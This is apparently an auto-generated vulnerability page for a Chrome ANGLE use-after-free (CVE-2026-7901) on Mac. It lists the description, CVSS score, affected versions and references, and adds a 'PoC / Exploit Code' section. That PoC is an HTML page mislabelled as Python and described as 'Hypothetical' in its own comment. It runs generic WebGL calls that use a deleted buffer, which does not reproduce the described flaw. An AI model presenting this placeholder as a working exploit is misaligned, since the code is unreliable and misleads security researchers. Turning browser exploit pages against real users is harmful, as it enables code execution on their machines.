CVE-2026-7901

Description

Use after free in ANGLE in Google Chrome on Mac prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome (Mac) < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-7901 (Hypothetical)
  This HTML page attempts to trigger a Use-After-Free in Chrome's ANGLE component.
  Target: Google Chrome on Mac < 148.0.7778.96
-->
<!DOCTYPE html>
<html>
<head>
  <title>CVE-2026-7901 PoC</title>
</head>
<body>
  <h1>Testing ANGLE UAF</h1>
  <canvas id="glCanvas" width="640" height="480"></canvas>
  <script>
    const canvas = document.getElementById('glCanvas');
    const gl = canvas.getContext('webgl');

    if (!gl) {
      console.log('WebGL not supported');
    }

    // Step 1: Create resources to manipulate memory
    const buffer = gl.createBuffer();
    gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
    
    // Step 2: Trigger a condition that might free the buffer prematurely
    // (Specific exploit logic depends on the vulnerability internals)
    function triggerUAF() {
      // Simulate complex rendering operations
      for (let i = 0; i < 1000; i++) {
        gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(1024), gl.DYNAMIC_DRAW);
      }
      
      // Attempt to use the buffer after potential free
      gl.deleteBuffer(buffer);
      // Accessing deleted buffer to trigger UAF
      gl.bindBuffer(gl.ARRAY_BUFFER, buffer); 
      gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(1024), gl.DYNAMIC_DRAW);
    }

    triggerUAF();
    console.log('PoC executed. Check browser for crash or debugger output.');
  </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7901
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7901
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7901/
[4] VulDB https://vuldb.com/cve/CVE-2026-7901
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/497724490

Raw JSON Data

JSON

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